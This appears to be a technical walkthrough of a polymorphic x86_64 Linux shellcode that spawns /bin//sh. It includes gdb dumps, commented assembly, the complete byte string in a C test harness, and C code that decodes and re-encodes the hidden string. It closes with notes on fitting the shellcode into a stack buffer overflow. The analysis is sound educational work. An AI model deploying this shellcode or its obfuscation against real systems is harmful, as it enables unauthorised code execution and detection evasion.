EDIT: @EnricoGhirardi Thanks for pointing the mul esi inaccuracy I previously posted!
To start out, the first instruction mul esi zeroes out rax and rdx in the example below (this is only because rsi is 0 to begin with). The least significant bits will be stored in rax and the most significant bits will be stored in rdx. Both of these registers will be zero. We can verify this with the following after compiling the test code:
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
Dump of assembler code for function main:
0x00000000004004ed <+0>: push %rbp
0x00000000004004ee <+1>: mov %rsp,%rbp
0x00000000004004f1 <+4>: sub $0x10,%rsp
0x00000000004004f5 <+8>: movq $0x601060,-0x8(%rbp)
0x00000000004004fd <+16>: mov -0x8(%rbp),%rdx
0x0000000000400501 <+20>: mov $0x0,%eax
0x0000000000400506 <+25>: callq *%rdx
0x0000000000400508 <+27>: leaveq
0x0000000000400509 <+28>: retq
End of assembler dump.
(gdb) b *0x0000000000400506
Breakpoint 1 at 0x400506
The program is not being run.
Breakpoint 1, 0x0000000000400506 in main ()
0x0000000000601060 in code ()
Dump of assembler code for function code:
=> 0x0000000000601060 <+0>: mul %esi
0x0000000000601062 <+2>: push %rdx
0x0000000000601063 <+3>: mov $0x1,%al
0x0000000000601065 <+5>: movabs $0xd2c45ed0e65e5edc,%rbx
0x000000000060106f <+15>: rol $0x18,%rbx
0x0000000000601073 <+19>: shr %rbx
0x0000000000601076 <+22>: push %rbx
0x0000000000601077 <+23>: lea (%rsp),%rdi
0x000000000060107b <+27>: add $0x3a,%al
0x000000000060107d <+29>: syscall
0x000000000060107f <+31>: add %al,(%rax)
End of assembler dump.
(gdb) i r rax rdx
rax 0x0 0
rdx 0x601060 6295648
0x0000000000601062 in code ()
(gdb) i r rax rdx
rax 0x0 0
rdx 0x0 0
As we can see, rax and rdx are both 0, which means that esi (or rsi) has been multiplied by zero.
This is important because the shellcode eventually uses a syscall on line 29. We can see that syscall on line 29 is preceded by add al,58 where al is already 1, therefore the rax register will hold a value of 59.
The number 59 is the index for execve in the Linux x86_64 syscall table
execve will execute /bin//sh. Let's check out the function prototype:
int execve(const char *filename, char *const argv,
char *const envp);
According to the prototype's description, filename must be either a binary executable, or a script starting with a line of the form "#! interpreter [arg]"
We will see that eventually the shellcode passed /bin//sh as this argument.
argv are just the arguments passed to the binary. In this case, the arguments are NULL because as we have seen before, the rsi register was previously zeroed out on line 20.
Similarly, envp are the environment arguments passed to the binary. Again, there are none because we have seen that the mul %esi instruction has zeroed out both rsi and rdx. In x86_64 Linux, the rsi and rdx registers are the second and third arguments to execve() respectively.
You can find more information on x86_64 calling conventions here to see how arguments are passed into functions.
Finally, the first argument in execve is /bin//sh, which is eventually passed to the edi register. edi holds the first function argument in Linux x86_64 assembly.
The interesting part is that this is polymorphic shellcode. We can think of polymorphic shellcode as obfuscated machine instructions that deobfuscate themselves upon execution.
On line 23, the hex string 0xd2c45ed0e65e5edc in ascii is ÒÄ^Ðæ^^Ü which is clearly obfuscated.
Lines 24 and 25 deobfuscate this string and we get 0x68732f2f6e69622f which is hs//nib/ in ascii. This is /bin//sh spelt backwards because the argument is passed to execve() in little endian byte order.
For proof of concept, you can run the code in gdb, or use the following deobfuscator I wrote:
uint64_t rol(uint64_t v, unsigned int bits)
return (v<<bits) | (v>>(8*sizeof(uint64_t)-bits));
uint64_t obfuscated = 0xd2c45ed0e65e5edc;
uint64_t deobfuscated = rol(obfuscated, 24);
deobfuscated /= 2;
printf("0x%" PRIx64 "\n", deobfuscated);
You will get the deobfuscated hex string 0x68732f2f6e69622f which again, is hs//nib/ in ascii.
Line 26 pushes the deobfuscated /bin//sh on top of the stack (i.e. in the rsp register) and line 27 loads the address pointing to the string /bin//sh into rdi. Again, please note that this string is being passed in little endian byte ordering. Now we can clearly see that /bin//sh is the first argument in execve()
Then, the shell is executed on line 29.
Below is a commented pseudocode summary:
mul esi ; When this shellcode is executed, rsi and rdx become 0 because they are multiplied by rax which is 0, in Linux x86_64 assembly, rsi is the second argument in a function
push rdx ; save rdx (i.e. the buffer pointer to the shellcode), rdx is also the third argument passed to a syscall in x86_64
mov al,1 ; used for obfuscation since mov al, 59 followed by syscall may look suspicious
mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh obfuscated
rol rbx,24 ; Deobfuscate the hex string /bin//sh
shr rbx,1 ; Division by 2 to further deobfuscate /bin//sh
push rbx ; Push the hex string on the top of the stack [in rsp]
lea rdi, [rsp] ; Load /bin//sh into rdi in little endian
; in linux 86_64 the first argument is passed to rdi during a syscall
add al,58 ; al = 59 i.e. call execve
syscall ; execve("/bin//sh", 0, *shellcode_buffer)
As for the C code, the machine instructions that represent the compiled assembly from lines 17 - 29 are stored in a global variable. We can use the following commands to check the bytes from the shellcode:
$ nasm -felf64 shell.asm -o shell.o
$ ld shell.o -o shell
$ xxd shell
00000080: f7e6 52b0 0148 bbdc 5e5e e6d0 5ec4 d248 ..R..H..^^..^..H
00000090: c1c3 1848 d1eb 5348 8d3c 2404 3a0f 0500 ...H..SH.<$.:...
As we can see, it matches with the following buffer in the C code:
unsigned char code = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05";
The code in main simply casts the string buffer global variable into a function pointer which is then called, executing the polymorphic shellcode, and spawning a shell.
Finally, shellcode is just a possible part of an exploit. An exploit consists of an input that is precisely tailored to a specific version of a program and OS. The shellcode can be part of the payload, but operating systems have became more secure adding ASLR (Address Stack Layout Randomization) and DEP (Data Execution Prevention), so generally it is more practical to overwrite a function pointer in to GOT (Global Offset Table) than to inject shellcode into a buffer. Assuming that you were performing a generic stack buffer overflow, the buffer would have to be at least 0x19 bytes long. You would also need some more space to compensate for the rest of the exploit. In other words, you would need a buffer with enough space to fit the shellcode and the rest of the exploit so that you could overwrite the RET address on the stack to redirect program execution (RIP/EIP) to your shellcode.
This is just an example, but there are many more ways this shellcode can be used in a exploit.
Taking a few steps back, this shellcode could fail if esi/rsi is not 0 to begin with because if it is not zero, then we will have a second argument passed into execve() and possibly even a third agument if the result from the instruction mul esi overflows into edx. The shellcode would be more reliable if there were an xor esi, esi instruction preceeding the mul esi instruction.
We also might think how the exploit developer came up with the obfuscated hex string 0xd2c45ed0e65e5edc. They simply took original string hs//nib/ and applied the deobfuscating instructions in reverse order. You can use the following code for proof of concept:
uint64_t ror(uint64_t v, unsigned int bits)
return (v>>bits) | (v<<(8*sizeof(uint64_t)-bits));
uint64_t deobfuscated = 0x68732f2f6e69622f;
uint64_t obfuscated = deobfuscated * 2;
obfuscated = ror(obfuscated, 24);
printf("0x%" PRIx64 "\n", obfuscated);
You should get the original obfuscated hex string 0xd2c45ed0e65e5edc.